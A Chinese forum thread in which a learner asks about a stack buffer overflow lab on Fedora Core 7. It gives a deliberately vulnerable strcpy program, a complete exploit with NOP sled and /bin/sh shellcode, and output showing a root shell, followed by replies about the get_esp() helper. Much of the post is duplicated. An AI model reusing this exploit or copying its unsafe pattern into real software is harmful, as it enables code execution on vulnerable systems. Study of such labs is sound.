一个溢出程序的疑惑(gcc 4.1.2+FC7)
一个有问题的程序:
攻击程序:
对于attacktest.c的buffer的设计:|NOP.......NOP|shelllcode|ESP........ESP|,其中buffer的一半都是NOP
经过测试test.c被溢出的上限和下限分别是953和635(657为原先测试的下限,后来将test.c中大取ESP地址并打印的部分去掉了,下限就变成了635,后来又将打印ESP添上,下限仍然是635),我分析test.c堆栈结构如下(阴影部分不知道有什么用处):
假设attacktest.c中的buffer的长度为x,不考虑猜测EIP的偏差,shellcode长度为45,则必须满足:x/2+45<=512+4+4,则 x<=950,也就是NOP+shellcode部分必须在buff1以内。考虑到buff2要覆盖buff1并覆盖其后的EIP,因此x> 512+4+4,即x>520,即:
在不考虑猜测EIP偏差的情况下:520<x<950
现在考虑猜测EIP偏差,分别测试边界情况的猜测EIP偏差:
[root@localhost muyin]# ./attacktest 953
esp : 0xbfffe418----------------------------------------------->attacktest.c
esp : 0xbfffde88----------------------------------------------->test.c
sh-3.2# exit
exit
[root@localhost muyin]# ./attacktest 657
esp : 0xbfffe418------------------------------------------------>attacktest.c
esp : 0xbfffdfa8------------------------------------------------->test.c
sh-3.2# exit
exit
可以看出attacktest.c中ESP的地址比test.c的ESP地址高1000多,那么覆盖test.c中的dest[512]后的返回地址就会比Ttest.c当前的ESP高出很多,就不会返回到dest去执行shellcode了。不解
另外,我编写程序打印ESP内容,发现GDB里调试的结果和单独执行不一样,而且在两个终端同时执行一个程序,结果也不一样。
高手说说linux下可执行程序刚开始的地址是怎么选取的吧?
对于
在不同终端中运行的记过分别是bfffe448,bfffe3a8,bfffe468
- /*
- * test.c for test overflow under FC7 with gcc 4.1.2
- * you must echo "0">/proc/sys/kernel/exec-shield
- * you must echo "0">/proc/sys/kernel/randomize_va_space
- */
- long get_esp()
- {
- __asm__("movl %esp,%eax");
- }
- void func(unsigned char *from)
- {
- unsigned char dest[512];
- long esp;
- esp = get_esp();
- printf("esp : 0x%x\n",esp);//打印当前ESP内容
- strcpy(dest,from);//此处溢出
- }
- int main(int argc,char *argv[]){
- if(argc>1){
- func(argv[1]);
- }
- return 0;
- }
攻击程序:
- /*
- * attacktest.c to attack test.c under FC7 with gcc 4.1.2
- * you must echo "0">/proc/sys/kernel/exec-shield
- * you must echo "0">/proc/sys/kernel/randomize_va_space
- */
- #include<stdio.h>
- #include<stdlib.h>
- unsigned char shellcode[] =
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
- "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
- "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
- long get_esp()
- {
- __asm__("movl %esp,%eax");
- }
- main(int argc,char *argv[])
- {
- int i =0;
- char *ptr;
- long *addr_ptr;
- long addr;
- int offset=0,bsize=700;
- unsigned char *buffer;
- if(argc>1) bsize = atoi(argv[1]);
- if(argc>2) offset = atoi(argv[2]);
- addr = get_esp() - offset;
- if(!(buffer=malloc(bsize))) {
- printf("no enough memory!\n");
- exit(0);
- }
- printf("esp : 0x%x\n",addr);//打印当前ESP内容
- ptr=buffer;
- addr_ptr=(long *)ptr;
- for(i=0;i<bsize;i+=4)
- *(addr_ptr++)=addr;
- for(i=0;i<bsize/2;i++)
- buffer[i]=0x90;
- ptr=buffer+bsize/2;
- for(i=0;i<strlen(shellcode);i++)
- *(ptr++)=shellcode[i];
- buffer[bsize-1]='\0';
- execl("./test","test",buffer,0);
- free(buffer);
- return 0;
- }
对于attacktest.c的buffer的设计:|NOP.......NOP|shelllcode|ESP........ESP|,其中buffer的一半都是NOP
经过测试test.c被溢出的上限和下限分别是953和635(657为原先测试的下限,后来将test.c中大取ESP地址并打印的部分去掉了,下限就变成了635,后来又将打印ESP添上,下限仍然是635),我分析test.c堆栈结构如下(阴影部分不知道有什么用处):
test1.png (11.14 KB, 下载次数: 1)
假设attacktest.c中的buffer的长度为x,不考虑猜测EIP的偏差,shellcode长度为45,则必须满足:x/2+45<=512+4+4,则 x<=950,也就是NOP+shellcode部分必须在buff1以内。考虑到buff2要覆盖buff1并覆盖其后的EIP,因此x> 512+4+4,即x>520,即:
在不考虑猜测EIP偏差的情况下:520<x<950
现在考虑猜测EIP偏差,分别测试边界情况的猜测EIP偏差:
[root@localhost muyin]# ./attacktest 953
esp : 0xbfffe418----------------------------------------------->attacktest.c
esp : 0xbfffde88----------------------------------------------->test.c
sh-3.2# exit
exit
[root@localhost muyin]# ./attacktest 657
esp : 0xbfffe418------------------------------------------------>attacktest.c
esp : 0xbfffdfa8------------------------------------------------->test.c
sh-3.2# exit
exit
可以看出attacktest.c中ESP的地址比test.c的ESP地址高1000多,那么覆盖test.c中的dest[512]后的返回地址就会比Ttest.c当前的ESP高出很多,就不会返回到dest去执行shellcode了。不解
另外,我编写程序打印ESP内容,发现GDB里调试的结果和单独执行不一样,而且在两个终端同时执行一个程序,结果也不一样。
高手说说linux下可执行程序刚开始的地址是怎么选取的吧?
对于
- long get_esp()
- {
- __asm__("movl %esp,%eax");
- }
- main()
- {
- long esp;
- esp = get_esp();
- printf("%x\n",esp);
- }
在不同终端中运行的记过分别是bfffe448,bfffe3a8,bfffe468
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论
评论(4)
anybody can help me?
这个 get_esp() 是不对的。
得到的只是下栈桢的值,不是当前esp的值,得到当前esp,应该在当前处嵌入汇编
嵌入汇编,我明天试一下,不过感觉还是有问题,因为test.c和attacktest.c的get_esp返回结果超过1000了;get_esp()得到的不是当前esp的值,我觉得,应该是当前esp-4,但是都-4的话应该相互抵消了啊?
详见:http://linux.chinaunix.net/bbs/thread-1026846-1-1.html
你的程序感觉很乱,主贴又长又罗嗦, 所以,我基本没看你的贴子,只看了一眼 get_esp()
你最好把你的想法,意图清楚地表达出来